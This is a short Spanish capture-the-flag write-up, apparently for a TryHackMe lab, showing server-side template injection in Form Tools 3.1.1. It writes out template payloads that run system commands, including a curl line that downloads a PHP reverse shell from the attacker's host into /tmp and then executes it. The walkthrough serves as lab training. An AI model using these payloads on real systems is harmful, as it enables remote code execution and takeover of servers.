Extra-Mile Challenge

Hay una aplicación web corriendo en http://ssti.thm:8080/. ¿Puedes conseguir RCE y leer el contenido del archivo de texto escondido en el directorio usando SSTI?

Credenciales de inicio de sesión:

• Username: admin
• Password: admin

Challenge

1. Vamos a la página que nos dan.
2. Iniciamos sesión con las credenciales que nos dan.
3. Haciendo click en "FORM TOOLS" podemos ver que existe de verdad. Y también sabemos que la versión es la 3.1.1.
4. Buscando podemos encontrar que es vulnerable a RCE.
5. Probamos a ver dónde meter el payload (probamos donde dice el exploit primero).
   1. Para ello vamos a crear una nueva Form (Internal).
   2. En "Views" le damos a "Add New Group".
   3. Si le damos a update evalúa la expresión.
   4. Vamos a probar con {system('ls')}. Está ejecutando los comandos. Vamos a mandarnos una reverse shell.
6. Pegamos el payload en payload.php, por ejemplo.
7. Nos ponemos en escucha para servir el payload php.
8. Nos ponemos en escucha por el puerto que recibirá la shell (9000).
9. Introducimos el payload en el campo: {system('curl http://NUESTRA_IP:8081/payload.php -o /tmp/payload.php')}.
10. Recibimos la petición y la máquina víctima se guarda el payload.
11. Introducimos el siguiente comando: {system('php /tmp/payload.php')}.
12. Recibimos la shell.
13. Obtenemos la flag.